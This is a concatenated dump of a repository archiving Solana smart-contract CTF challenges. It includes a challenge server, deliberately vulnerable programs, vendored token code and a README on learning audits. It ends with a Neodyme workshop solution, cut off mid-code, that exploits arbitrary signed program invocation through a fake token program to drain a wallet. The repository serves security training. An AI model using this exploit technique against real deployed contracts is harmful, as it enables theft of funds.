- { 31 | - if res.is_err() { 32 | - match (is_nonce_account, is_fee_payer, maybe_nonce_rollback) { 33 | - // nonce is fee-payer, state updated in `prepare_if_nonce_account()` 34 | - (true, true, Some((_, _, None, _))) => (), 35 | - // nonce not fee-payer, state updated in `prepare_if_nonce_account()` 36 | - (true, false, Some((_, _, Some(_), _))) => (), 37 | - // not nonce, but fee-payer. rollback to cached state 38 | - (false, true, Some((_, _, Some(fee_payer_account), _))) => { 39 | - *account = fee_payer_account.clone(); 40 | - } 41 | - _ => panic!("unexpected nonce_rollback condition"), 42 | - } 43 | - } 44 | + if message.is_writable(i) { 45 | if account.rent_epoch() == INITIAL_RENT_EPOCH { 46 | let rent = rent_collector.collect_from_created_account( 47 | key, 48 | -------------------------------------------------------------------------------- /moar-horse-5/server/src/main.rs: -------------------------------------------------------------------------------- 1 | use poc_framework_osec::{ 2 | solana_sdk::signature::{ 3 | Keypair, 4 | Signer, 5 | }, 6 | Environment, 7 | }; 8 | 9 | use sol_ctf_framework::ChallengeBuilder; 10 | 11 | use solana_program::system_program; 12 | 13 | use std::{ 14 | fs, 15 | io::Write, 16 | error::Error, 17 | net::{ 18 | TcpListener, 19 | TcpStream 20 | }, 21 | }; 22 | 23 | use threadpool::ThreadPool; 24 | 25 | use moar_horse::{ 26 | create, get_horse, 27 | }; 28 | 29 | fn main() -> Result<(), Box> { 30 | let listener = TcpListener::bind("0.0.0.0:5000")?; 31 | let pool = ThreadPool::new(4); 32 | for stream in listener.incoming() { 33 | let stream = stream.unwrap(); 34 | 35 | pool.execute(|| { 36 | handle_connection(stream).unwrap(); 37 | }); 38 | } 39 | Ok(()) 40 | } 41 | 42 | fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 43 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 44 | 45 | // load programs 46 | let solve_pubkey = builder.input_program().unwrap(); 47 | let program_pubkey = builder.chall_programs(&["./moar_horse.so"])[0]; 48 | 49 | // make user 50 | let user = Keypair::new(); 51 | 52 | writeln!(socket, "program: {}", program_pubkey)?; 53 | writeln!(socket, "user: {}", user.pubkey())?; 54 | 55 | 56 | // add accounts and lamports 57 | let (horse, _) = get_horse(program_pubkey); 58 | 59 | const TARGET_AMT: u64 = 100_000; 60 | const INIT_BAL: u64 = 2_000; 61 | const VAULT_BAL: u64 = 1_000_000; 62 | 63 | builder 64 | .builder 65 | .add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL); 66 | builder 67 | .builder 68 | .add_account_with_lamports(horse, system_program::ID, VAULT_BAL); 69 | 70 | let mut challenge = builder.build(); 71 | 72 | // create a horsewallet 73 | challenge.env.execute_as_transaction( 74 | &[create(program_pubkey, user.pubkey())], 75 | &[&user], 76 | ); 77 | 78 | // run solve 79 | challenge.input_instruction(solve_pubkey, &[&user]).unwrap(); 80 | 81 | // check solve 82 | let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports; 83 | writeln!(socket, "lamports: {:?}", balance)?; 84 | 85 | if balance > TARGET_AMT { 86 | let flag = fs::read_to_string("flag.txt").unwrap(); 87 | writeln!(socket, "hhhhhhhoooooooooooorrrrrrrrrrrrrrrssssssssssssssssseeeeeeeeeeeeeeeeeee\nFlag: {}", flag)?; 88 | } 89 | 90 | Ok(()) 91 | } 92 | -------------------------------------------------------------------------------- /moar-horse-5/program/src/lib.rs: -------------------------------------------------------------------------------- 1 | mod entrypoint; 2 | pub mod processor; 3 | 4 | use borsh::{ 5 | BorshDeserialize, 6 | BorshSerialize, 7 | }; 8 | 9 | use solana_program::{ 10 | instruction::{ 11 | AccountMeta, 12 | Instruction, 13 | }, 14 | pubkey::Pubkey, 15 | system_program, 16 | }; 17 | 18 | use std::mem::size_of; 19 | 20 | #[derive(BorshDeserialize, BorshSerialize)] 21 | pub enum HorseInstruction { 22 | Create { horse_bump: u8, wallet_bump: u8 }, 23 | Buy { amount: u64 }, 24 | Sell { amount: u64 }, 25 | } 26 | 27 | #[repr(C)] 28 | #[derive(BorshSerialize, BorshDeserialize)] 29 | pub struct HorseWallet { 30 | pub user: Pubkey, 31 | pub horse: Pubkey, 32 | pub amount: u64, 33 | pub horse_bump: u8, 34 | } 35 | 36 | pub const WALLET_SIZE: usize = size_of::(); 37 | pub const HORSE_COST: u64 = 1000; 38 | 39 | pub fn get_horse(program: Pubkey) -> (Pubkey, u8) { 40 | Pubkey::find_program_address(&["HORSE".as_bytes()], &program) 41 | } 42 | 43 | pub fn get_wallet(program: Pubkey, user: Pubkey) -> (Pubkey, u8) { 44 | Pubkey::find_program_address(&["WALLET".as_bytes(), &user.to_bytes()], &program) 45 | } 46 | 47 | pub fn create(program: Pubkey, user: Pubkey) -> Instruction { 48 | let (horse, horse_bump) = get_horse(program); 49 | let (wallet, wallet_bump) = get_wallet(program, user); 50 | Instruction { 51 | program_id: program, 52 | accounts: vec![ 53 | AccountMeta::new(horse, false), 54 | AccountMeta::new(wallet, false), 55 | AccountMeta::new(user, true), 56 | AccountMeta::new_readonly(system_program::id(), false), 57 | ], 58 | data: HorseInstruction::Create { horse_bump, wallet_bump } .try_to_vec().unwrap(), 59 | } 60 | } 61 | 62 | pub fn buy(program: Pubkey, user: Pubkey, amount: u64) -> Instruction { 63 | let (horse, _) = get_horse(program); 64 | let (wallet, _) = get_wallet(program, user); 65 | Instruction { 66 | program_id: program, 67 | accounts: vec![ 68 | AccountMeta::new(horse, false), 69 | AccountMeta::new(wallet, false), 70 | AccountMeta::new(user, true), 71 | AccountMeta::new_readonly(system_program::id(), false), 72 | ], 73 | data: HorseInstruction::Buy { amount }.try_to_vec().unwrap(), 74 | } 75 | } 76 | 77 | pub fn sell(program: Pubkey, user: Pubkey, amount: u64) -> Instruction { 78 | let (horse, _) = get_horse(program); 79 | let (wallet, _) = get_wallet(program, user); 80 | Instruction { 81 | program_id: program, 82 | accounts: vec![ 83 | AccountMeta::new(horse, false), 84 | AccountMeta::new(wallet, false), 85 | AccountMeta::new(user, true), 86 | AccountMeta::new_readonly(system_program::id(), false), 87 | ], 88 | data: HorseInstruction::Sell { amount }.try_to_vec().unwrap(), 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 🚩 Solana CTF Challenges 🚩 2 | 3 | This is a repository of backups of Solana CTF challenges. 4 | The challenges were created by **different authors** and **belong to the respective authors** as listed below. 5 | If an author would like their challenge to be removed from this repository, please contact us. 6 | 7 | 8 | ## Challenges 9 | | Challenge | Author | Link | 10 | | --- | --- | --- | 11 | | [Neodyme Workshop Level 1-4](neodyme-breakpoint-workshop/level1/) | Neodyme | https://workshop.neodyme.io/ | 12 | | [Secret Store](allesctf21/secret-store/) | localo | https://ctftime.org/task/17180 | 13 | | [Legit Bank](allesctf21/legit-bank/) | CherryWorm, bennofs | https://ctftime.org/task/17188 | 14 | | [Bugchain](allesctf21/bugchain/) | CherryWorm | https://ctftime.org/task/17160 | 15 | | [Solfire](solfire/) | NotDeGhost | https://play.picoctf.org/practice/challenge/302?originalEvent=70&page=6 | 16 | | [Darksols](darksols/) | embe221ed | https://2022.justctf.team/challenges/40 | 17 | | [HalbornCTF Solana](HalbornCTF_Rust_Solana/) | Halborn | https://github.com/HalbornSecurity/CTFs/tree/master/HalbornCTF_Rust_Solana | 18 | | [Moar Horse 5](moar-horse-5/) | kfb | https://github.com/TJCSec/tjctf-2022-challenges/tree/master/pwn/moar-horse-5 | 19 | | [Cashio Exploit Workshop](cashio-exploit-workshop/) |PwnedNoMore| https://github.com/PwnedNoMore/cashio-exploit-workshop | 20 | | [Solhana 1-3](solhana-ctf/) | Hana | https://ctf.paradigm.xyz/ | 21 | | [Pool](pool/) | ??? | https://ctf.paradigm.xyz/ | 22 | | [League of Lamports](league-of-lamports/) | embe221ed | https://2022.justctf.team/challenges/53 | 23 | 24 | 25 | 26 | ## Getting Started 27 | - https://blog.neodyme.io/posts/solana_common_pitfalls/ 28 | 29 | ## FAQ 30 | ### What is a CTF? 31 | CTF stands for Capture The Flag. In this context, CTF refers to a Cybersecurity 32 | competition, where participants solve challenges to gain points. Challenges are 33 | small security-related puzzles mimicking real-life vulnerabilities. In the 34 | context of Solana, a challenge would be a vulnerable smart contract that can be 35 | exploited by an attacker. 36 | 37 | ### What is the purpose of this repository? 38 | CTF challenges are one of the best way to learn security. However, Solana-specific 39 | challenges are spread across the internet, and might be deleted or lost. This 40 | repository aims to preserve Solana CTF challenges so that developers and 41 | auditors can easily find them. 42 | 43 | ### How do I use this repository? 44 | You can use this repository to learn Solana smart contract auditing by trying 45 | to find exploitable bugs in the challenges. Some challenges come with Docker 46 | containers that allow you to easily instantiate and interact with them. 47 | 48 | ### A Solana Challenge that I know isn't listed here! 49 | Please create a Pull Request, or an Issue to add the missing Challenge! 50 | 51 | ### 52 | -------------------------------------------------------------------------------- /darksols/programs/src/shared/test.h: -------------------------------------------------------------------------------- 1 | #include "clock.h" 2 | #include "program.h" 3 | 4 | void itoa(uint64_t x, char* buf, uint64_t base) { 5 | sol_assert(base <= 16); 6 | char* chars = "0123456789abcdef"; 7 | 8 | int len = 0; 9 | uint64_t tmp = x; 10 | while (tmp != 0) { 11 | tmp /= base; 12 | len++; 13 | } 14 | 15 | if (x == 0) { 16 | len = 1; 17 | } 18 | 19 | buf[len] = 0; 20 | 21 | for (int i = 0; i < len; i++) { 22 | buf[len - 1 - i] = chars[x % base]; 23 | x /= base; 24 | } 25 | } 26 | 27 | void log_int(uint64_t x, uint64_t base) { 28 | char buf[20]; 29 | sol_memset(buf, 0, SOL_ARRAY_SIZE(buf)); 30 | itoa(x, buf, base); 31 | sol_log(buf); 32 | } 33 | 34 | static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; 35 | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) { 36 | const uint8_t *bin = data; 37 | int carry; 38 | size_t i, j, high, zcount = 0; 39 | size_t size; 40 | 41 | while (zcount < binsz && !bin[zcount]) 42 | ++zcount; 43 | size = (binsz - zcount) * 138 / 100 + 1; 44 | if (size > 100) return false; 45 | uint8_t buf[100]; 46 | sol_memset(buf, 0, size); 47 | 48 | for (i = zcount, high = size - 1; i < binsz; ++i, high = j) 49 | { 50 | for (carry = bin[i], j = size - 1; (j > high) || carry; --j) 51 | { 52 | carry += 256 * buf[j]; 53 | buf[j] = carry % 58; 54 | carry /= 58; 55 | if (!j) { 56 | // Otherwise j wraps to maxint which is > high 57 | break; 58 | } 59 | } 60 | } 61 | 62 | for (j = 0; j < size && !buf[j]; ++j); 63 | 64 | if (*b58sz <= zcount + size - j) 65 | { 66 | *b58sz = zcount + size - j + 1; 67 | return false; 68 | } 69 | 70 | if (zcount) 71 | sol_memset(b58, '1', zcount); 72 | for (i = zcount; j < size; ++i, ++j) 73 | b58[i] = b58digits_ordered[buf[j]]; 74 | b58[i] = '\0'; 75 | *b58sz = i + 1; 76 | 77 | return true; 78 | } 79 | 80 | void log_pubkey(const SolPubkey* pubkey) { 81 | sol_log_pubkey(pubkey); 82 | } 83 | 84 | bool strncmp(char* a, char* b, size_t len) { 85 | for (size_t i = 0; i < len; i++) { 86 | if (a[i] != b[i]) return false; 87 | if (a[i] == 0) return true; 88 | } 89 | return true; 90 | } 91 | 92 | bool strcmp(char* a, char* b) { 93 | return sol_memcmp(a, b, sol_strlen(a)) == 0; 94 | } 95 | 96 | bool str_contains(char* src, char* target) { 97 | size_t target_len = sol_strlen(target); 98 | for (size_t i = 0; i < sol_strlen(src); i++) { 99 | if (strncmp(&src[i], target, target_len)) return true; 100 | } 101 | return false; 102 | } 103 | 104 | bool is_system_program(SolPubkey* pubkey) { 105 | char system_addr[] = { 106 | 0, 0, 0, 0, 107 | 0, 0, 0, 0, 108 | 0, 0, 0, 0, 109 | 0, 0, 0, 0, 110 | 0, 0, 0, 0, 111 | 0, 0, 0, 0, 112 | 0, 0, 0, 0, 113 | 0, 0, 0, 0, 114 | }; 115 | return sol_memcmp(&pubkey->x, system_addr, sizeof(system_addr)) == 0; 116 | } 117 | -------------------------------------------------------------------------------- /darksols/evil-contract/src/shared/test.h: -------------------------------------------------------------------------------- 1 | #include "clock.h" 2 | #include "program.h" 3 | 4 | void itoa(uint64_t x, char* buf, uint64_t base) { 5 | sol_assert(base <= 16); 6 | char* chars = "0123456789abcdef"; 7 | 8 | int len = 0; 9 | uint64_t tmp = x; 10 | while (tmp != 0) { 11 | tmp /= base; 12 | len++; 13 | } 14 | 15 | if (x == 0) { 16 | len = 1; 17 | } 18 | 19 | buf[len] = 0; 20 | 21 | for (int i = 0; i < len; i++) { 22 | buf[len - 1 - i] = chars[x % base]; 23 | x /= base; 24 | } 25 | } 26 | 27 | void log_int(uint64_t x, uint64_t base) { 28 | char buf[20]; 29 | sol_memset(buf, 0, SOL_ARRAY_SIZE(buf)); 30 | itoa(x, buf, base); 31 | sol_log(buf); 32 | } 33 | 34 | static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; 35 | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) { 36 | const uint8_t *bin = data; 37 | int carry; 38 | size_t i, j, high, zcount = 0; 39 | size_t size; 40 | 41 | while (zcount < binsz && !bin[zcount]) 42 | ++zcount; 43 | size = (binsz - zcount) * 138 / 100 + 1; 44 | if (size > 100) return false; 45 | uint8_t buf[100]; 46 | sol_memset(buf, 0, size); 47 | 48 | for (i = zcount, high = size - 1; i < binsz; ++i, high = j) 49 | { 50 | for (carry = bin[i], j = size - 1; (j > high) || carry; --j) 51 | { 52 | carry += 256 * buf[j]; 53 | buf[j] = carry % 58; 54 | carry /= 58; 55 | if (!j) { 56 | // Otherwise j wraps to maxint which is > high 57 | break; 58 | } 59 | } 60 | } 61 | 62 | for (j = 0; j < size && !buf[j]; ++j); 63 | 64 | if (*b58sz <= zcount + size - j) 65 | { 66 | *b58sz = zcount + size - j + 1; 67 | return false; 68 | } 69 | 70 | if (zcount) 71 | sol_memset(b58, '1', zcount); 72 | for (i = zcount; j < size; ++i, ++j) 73 | b58[i] = b58digits_ordered[buf[j]]; 74 | b58[i] = '\0'; 75 | *b58sz = i + 1; 76 | 77 | return true; 78 | } 79 | 80 | void log_pubkey(const SolPubkey* pubkey) { 81 | sol_log_pubkey(pubkey); 82 | } 83 | 84 | bool strncmp(char* a, char* b, size_t len) { 85 | for (size_t i = 0; i < len; i++) { 86 | if (a[i] != b[i]) return false; 87 | if (a[i] == 0) return true; 88 | } 89 | return true; 90 | } 91 | 92 | bool strcmp(char* a, char* b) { 93 | return sol_memcmp(a, b, sol_strlen(a)) == 0; 94 | } 95 | 96 | bool str_contains(char* src, char* target) { 97 | size_t target_len = sol_strlen(target); 98 | for (size_t i = 0; i < sol_strlen(src); i++) { 99 | if (strncmp(&src[i], target, target_len)) return true; 100 | } 101 | return false; 102 | } 103 | 104 | bool is_system_program(SolPubkey* pubkey) { 105 | char system_addr[] = { 106 | 0, 0, 0, 0, 107 | 0, 0, 0, 0, 108 | 0, 0, 0, 0, 109 | 0, 0, 0, 0, 110 | 0, 0, 0, 0, 111 | 0, 0, 0, 0, 112 | 0, 0, 0, 0, 113 | 0, 0, 0, 0, 114 | }; 115 | return sol_memcmp(&pubkey->x, system_addr, sizeof(system_addr)) == 0; 116 | } 117 | -------------------------------------------------------------------------------- /league-of-lamports/programs/src/shared/test.h: -------------------------------------------------------------------------------- 1 | #include "clock.h" 2 | #include "program.h" 3 | 4 | void itoa(uint64_t x, char* buf, uint64_t base) { 5 | sol_assert(base <= 16); 6 | char* chars = "0123456789abcdef"; 7 | 8 | int len = 0; 9 | uint64_t tmp = x; 10 | while (tmp != 0) { 11 | tmp /= base; 12 | len++; 13 | } 14 | 15 | if (x == 0) { 16 | len = 1; 17 | } 18 | 19 | buf[len] = 0; 20 | 21 | for (int i = 0; i < len; i++) { 22 | buf[len - 1 - i] = chars[x % base]; 23 | x /= base; 24 | } 25 | } 26 | 27 | void log_int(uint64_t x, uint64_t base) { 28 | char buf[20]; 29 | sol_memset(buf, 0, SOL_ARRAY_SIZE(buf)); 30 | itoa(x, buf, base); 31 | sol_log(buf); 32 | } 33 | 34 | static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; 35 | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) { 36 | const uint8_t *bin = data; 37 | int carry; 38 | size_t i, j, high, zcount = 0; 39 | size_t size; 40 | 41 | while (zcount < binsz && !bin[zcount]) 42 | ++zcount; 43 | size = (binsz - zcount) * 138 / 100 + 1; 44 | if (size > 100) return false; 45 | uint8_t buf[100]; 46 | sol_memset(buf, 0, size); 47 | 48 | for (i = zcount, high = size - 1; i < binsz; ++i, high = j) 49 | { 50 | for (carry = bin[i], j = size - 1; (j > high) || carry; --j) 51 | { 52 | carry += 256 * buf[j]; 53 | buf[j] = carry % 58; 54 | carry /= 58; 55 | if (!j) { 56 | // Otherwise j wraps to maxint which is > high 57 | break; 58 | } 59 | } 60 | } 61 | 62 | for (j = 0; j < size && !buf[j]; ++j); 63 | 64 | if (*b58sz <= zcount + size - j) 65 | { 66 | *b58sz = zcount + size - j + 1; 67 | return false; 68 | } 69 | 70 | if (zcount) 71 | sol_memset(b58, '1', zcount); 72 | for (i = zcount; j < size; ++i, ++j) 73 | b58[i] = b58digits_ordered[buf[j]]; 74 | b58[i] = '\0'; 75 | *b58sz = i + 1; 76 | 77 | return true; 78 | } 79 | 80 | void log_pubkey(const SolPubkey* pubkey) { 81 | sol_log_pubkey(pubkey); 82 | } 83 | 84 | bool strncmp(char* a, char* b, size_t len) { 85 | for (size_t i = 0; i < len; i++) { 86 | if (a[i] != b[i]) return false; 87 | if (a[i] == 0) return true; 88 | } 89 | return true; 90 | } 91 | 92 | bool strcmp(char* a, char* b) { 93 | return sol_memcmp(a, b, sol_strlen(a)) == 0; 94 | } 95 | 96 | bool str_contains(char* src, char* target) { 97 | size_t target_len = sol_strlen(target); 98 | for (size_t i = 0; i < sol_strlen(src); i++) { 99 | if (strncmp(&src[i], target, target_len)) return true; 100 | } 101 | return false; 102 | } 103 | 104 | bool is_system_program(SolPubkey* pubkey) { 105 | char system_addr[] = { 106 | 0, 0, 0, 0, 107 | 0, 0, 0, 0, 108 | 0, 0, 0, 0, 109 | 0, 0, 0, 0, 110 | 0, 0, 0, 0, 111 | 0, 0, 0, 0, 112 | 0, 0, 0, 0, 113 | 0, 0, 0, 0, 114 | }; 115 | return sol_memcmp(&pubkey->x, system_addr, sizeof(system_addr)) == 0; 116 | } 117 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/src/shared/test.h: -------------------------------------------------------------------------------- 1 | #include "clock.h" 2 | #include "program.h" 3 | 4 | void itoa(uint64_t x, char* buf, uint64_t base) { 5 | sol_assert(base <= 16); 6 | char* chars = "0123456789abcdef"; 7 | 8 | int len = 0; 9 | uint64_t tmp = x; 10 | while (tmp != 0) { 11 | tmp /= base; 12 | len++; 13 | } 14 | 15 | if (x == 0) { 16 | len = 1; 17 | } 18 | 19 | buf[len] = 0; 20 | 21 | for (int i = 0; i < len; i++) { 22 | buf[len - 1 - i] = chars[x % base]; 23 | x /= base; 24 | } 25 | } 26 | 27 | void log_int(uint64_t x, uint64_t base) { 28 | char buf[20]; 29 | sol_memset(buf, 0, SOL_ARRAY_SIZE(buf)); 30 | itoa(x, buf, base); 31 | sol_log(buf); 32 | } 33 | 34 | static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; 35 | bool b58enc(char *b58, size_t *b58sz, const void *data, size_t binsz) { 36 | const uint8_t *bin = data; 37 | int carry; 38 | size_t i, j, high, zcount = 0; 39 | size_t size; 40 | 41 | while (zcount < binsz && !bin[zcount]) 42 | ++zcount; 43 | size = (binsz - zcount) * 138 / 100 + 1; 44 | if (size > 100) return false; 45 | uint8_t buf[100]; 46 | sol_memset(buf, 0, size); 47 | 48 | for (i = zcount, high = size - 1; i < binsz; ++i, high = j) 49 | { 50 | for (carry = bin[i], j = size - 1; (j > high) || carry; --j) 51 | { 52 | carry += 256 * buf[j]; 53 | buf[j] = carry % 58; 54 | carry /= 58; 55 | if (!j) { 56 | // Otherwise j wraps to maxint which is > high 57 | break; 58 | } 59 | } 60 | } 61 | 62 | for (j = 0; j < size && !buf[j]; ++j); 63 | 64 | if (*b58sz <= zcount + size - j) 65 | { 66 | *b58sz = zcount + size - j + 1; 67 | return false; 68 | } 69 | 70 | if (zcount) 71 | sol_memset(b58, '1', zcount); 72 | for (i = zcount; j < size; ++i, ++j) 73 | b58[i] = b58digits_ordered[buf[j]]; 74 | b58[i] = '\0'; 75 | *b58sz = i + 1; 76 | 77 | return true; 78 | } 79 | 80 | void log_pubkey(const SolPubkey* pubkey) { 81 | sol_log_pubkey(pubkey); 82 | } 83 | 84 | bool strncmp(char* a, char* b, size_t len) { 85 | for (size_t i = 0; i < len; i++) { 86 | if (a[i] != b[i]) return false; 87 | if (a[i] == 0) return true; 88 | } 89 | return true; 90 | } 91 | 92 | bool strcmp(char* a, char* b) { 93 | return sol_memcmp(a, b, sol_strlen(a)) == 0; 94 | } 95 | 96 | bool str_contains(char* src, char* target) { 97 | size_t target_len = sol_strlen(target); 98 | for (size_t i = 0; i < sol_strlen(src); i++) { 99 | if (strncmp(&src[i], target, target_len)) return true; 100 | } 101 | return false; 102 | } 103 | 104 | bool is_system_program(SolPubkey* pubkey) { 105 | char system_addr[] = { 106 | 0, 0, 0, 0, 107 | 0, 0, 0, 0, 108 | 0, 0, 0, 0, 109 | 0, 0, 0, 0, 110 | 0, 0, 0, 0, 111 | 0, 0, 0, 0, 112 | 0, 0, 0, 0, 113 | 0, 0, 0, 0, 114 | }; 115 | return sol_memcmp(&pubkey->x, system_addr, sizeof(system_addr)) == 0; 116 | } 117 | -------------------------------------------------------------------------------- /darksols/darksols/spl-token/src/error.rs: -------------------------------------------------------------------------------- 1 | //! Error types 2 | 3 | use num_derive::FromPrimitive; 4 | use solana_program::{decode_error::DecodeError, program_error::ProgramError}; 5 | use thiserror::Error; 6 | 7 | /// Errors that may be returned by the Token program. 8 | #[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)] 9 | pub enum TokenError { 10 | /// Lamport balance below rent-exempt threshold. 11 | #[error("Lamport balance below rent-exempt threshold")] 12 | NotRentExempt, 13 | /// Insufficient funds for the operation requested. 14 | #[error("Insufficient funds")] 15 | InsufficientFunds, 16 | /// Invalid Mint. 17 | #[error("Invalid Mint")] 18 | InvalidMint, 19 | /// Account not associated with this Mint. 20 | #[error("Account not associated with this Mint")] 21 | MintMismatch, 22 | /// Owner does not match. 23 | #[error("Owner does not match")] 24 | OwnerMismatch, 25 | /// This token's supply is fixed and new tokens cannot be minted. 26 | #[error("Fixed supply")] 27 | FixedSupply, 28 | /// The account cannot be initialized because it is already being used. 29 | #[error("Already in use")] 30 | AlreadyInUse, 31 | /// Invalid number of provided signers. 32 | #[error("Invalid number of provided signers")] 33 | InvalidNumberOfProvidedSigners, 34 | /// Invalid number of required signers. 35 | #[error("Invalid number of required signers")] 36 | InvalidNumberOfRequiredSigners, 37 | /// State is uninitialized. 38 | #[error("State is unititialized")] 39 | UninitializedState, 40 | /// Instruction does not support native tokens 41 | #[error("Instruction does not support native tokens")] 42 | NativeNotSupported, 43 | /// Non-native account can only be closed if its balance is zero 44 | #[error("Non-native account can only be closed if its balance is zero")] 45 | NonNativeHasBalance, 46 | /// Invalid instruction 47 | #[error("Invalid instruction")] 48 | InvalidInstruction, 49 | /// State is invalid for requested operation. 50 | #[error("State is invalid for requested operation")] 51 | InvalidState, 52 | /// Operation overflowed 53 | #[error("Operation overflowed")] 54 | Overflow, 55 | /// Account does not support specified authority type. 56 | #[error("Account does not support specified authority type")] 57 | AuthorityTypeNotSupported, 58 | /// This token mint cannot freeze accounts. 59 | #[error("This token mint cannot freeze accounts")] 60 | MintCannotFreeze, 61 | /// Account is frozen; all account operations will fail 62 | #[error("Account is frozen")] 63 | AccountFrozen, 64 | /// Mint decimals mismatch between the client and mint 65 | #[error("The provided decimals value different from the Mint decimals")] 66 | MintDecimalsMismatch, 67 | } 68 | impl From for ProgramError { 69 | fn from(e: TokenError) -> Self { 70 | ProgramError::Custom(e as u32) 71 | } 72 | } 73 | impl DecodeError for TokenError { 74 | fn type_of() -> &'static str { 75 | "TokenError" 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/src/error.rs: -------------------------------------------------------------------------------- 1 | //! Error types 2 | 3 | use num_derive::FromPrimitive; 4 | use solana_program::{decode_error::DecodeError, program_error::ProgramError}; 5 | use thiserror::Error; 6 | 7 | /// Errors that may be returned by the Token program. 8 | #[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)] 9 | pub enum TokenError { 10 | /// Lamport balance below rent-exempt threshold. 11 | #[error("Lamport balance below rent-exempt threshold")] 12 | NotRentExempt, 13 | /// Insufficient funds for the operation requested. 14 | #[error("Insufficient funds")] 15 | InsufficientFunds, 16 | /// Invalid Mint. 17 | #[error("Invalid Mint")] 18 | InvalidMint, 19 | /// Account not associated with this Mint. 20 | #[error("Account not associated with this Mint")] 21 | MintMismatch, 22 | /// Owner does not match. 23 | #[error("Owner does not match")] 24 | OwnerMismatch, 25 | /// This token's supply is fixed and new tokens cannot be minted. 26 | #[error("Fixed supply")] 27 | FixedSupply, 28 | /// The account cannot be initialized because it is already being used. 29 | #[error("Already in use")] 30 | AlreadyInUse, 31 | /// Invalid number of provided signers. 32 | #[error("Invalid number of provided signers")] 33 | InvalidNumberOfProvidedSigners, 34 | /// Invalid number of required signers. 35 | #[error("Invalid number of required signers")] 36 | InvalidNumberOfRequiredSigners, 37 | /// State is uninitialized. 38 | #[error("State is unititialized")] 39 | UninitializedState, 40 | /// Instruction does not support native tokens 41 | #[error("Instruction does not support native tokens")] 42 | NativeNotSupported, 43 | /// Non-native account can only be closed if its balance is zero 44 | #[error("Non-native account can only be closed if its balance is zero")] 45 | NonNativeHasBalance, 46 | /// Invalid instruction 47 | #[error("Invalid instruction")] 48 | InvalidInstruction, 49 | /// State is invalid for requested operation. 50 | #[error("State is invalid for requested operation")] 51 | InvalidState, 52 | /// Operation overflowed 53 | #[error("Operation overflowed")] 54 | Overflow, 55 | /// Account does not support specified authority type. 56 | #[error("Account does not support specified authority type")] 57 | AuthorityTypeNotSupported, 58 | /// This token mint cannot freeze accounts. 59 | #[error("This token mint cannot freeze accounts")] 60 | MintCannotFreeze, 61 | /// Account is frozen; all account operations will fail 62 | #[error("Account is frozen")] 63 | AccountFrozen, 64 | /// Mint decimals mismatch between the client and mint 65 | #[error("The provided decimals value different from the Mint decimals")] 66 | MintDecimalsMismatch, 67 | } 68 | impl From for ProgramError { 69 | fn from(e: TokenError) -> Self { 70 | ProgramError::Custom(e as u32) 71 | } 72 | } 73 | impl DecodeError for TokenError { 74 | fn type_of() -> &'static str { 75 | "TokenError" 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Arbitrary Signed Program Invocation 2 | 3 | ```rust 4 | use solana_program::instruction::{AccountMeta, Instruction}; 5 | use borsh::BorshSerialize; 6 | 7 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 8 | assert_tx_success(env.execute_as_transaction( 9 | &[level4::initialize( 10 | challenge.wallet_program, 11 | challenge.hacker.pubkey(), 12 | challenge.mint, 13 | )], 14 | &[&challenge.hacker], 15 | )); 16 | 17 | let hacker_wallet_address = level4::get_wallet_address( 18 | &challenge.hacker.pubkey(), 19 | &challenge.wallet_program, 20 | ) 21 | .0; 22 | let authority_address = level4::get_authority(&challenge.wallet_program).0; 23 | let fake_token_program = 24 | env.deploy_program("target/deploy/level4_poc_contract.so"); 25 | 26 | env.execute_as_transaction( 27 | &[Instruction { 28 | program_id: challenge.wallet_program, 29 | accounts: vec![ 30 | AccountMeta::new(hacker_wallet_address, false), // usually: wallet_address 31 | AccountMeta::new_readonly(authority_address, false), // usually: authority_address 32 | AccountMeta::new_readonly(challenge.hacker.pubkey(), true), // usually: owner_address 33 | AccountMeta::new(challenge.wallet_address, false), // usually: destination 34 | AccountMeta::new_readonly(spl_token::ID, false), // usually: expected mint 35 | AccountMeta::new_readonly(fake_token_program, false), // usually: spl_token program address 36 | ], 37 | data: level4::WalletInstruction::Withdraw { amount: 1337 } 38 | .try_to_vec() 39 | .unwrap(), 40 | }], 41 | &[&challenge.hacker], 42 | ) 43 | .print_named("hax"); 44 | } 45 | ``` 46 | 47 | ## Extra Helper Contract 48 | 49 | ```rust 50 | use solana_program::{ 51 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, program::invoke, 52 | pubkey::Pubkey, 53 | }; 54 | 55 | entrypoint!(process_instruction); 56 | 57 | pub fn process_instruction( 58 | _program_id: &Pubkey, 59 | accounts: &[AccountInfo], 60 | instruction_data: &[u8], 61 | ) -> ProgramResult { 62 | match spl_token::instruction::TokenInstruction::unpack(instruction_data).unwrap() { 63 | spl_token::instruction::TokenInstruction::TransferChecked { amount, .. } => { 64 | let source = &accounts[0]; 65 | let mint = &accounts[1]; 66 | let destination = &accounts[2]; 67 | let authority = &accounts[3]; 68 | invoke( 69 | &spl_token::instruction::transfer( 70 | mint.key, 71 | destination.key, 72 | source.key, 73 | authority.key, 74 | &[], 75 | amount, 76 | ) 77 | .unwrap(), 78 | &[ 79 | source.clone(), 80 | mint.clone(), 81 | 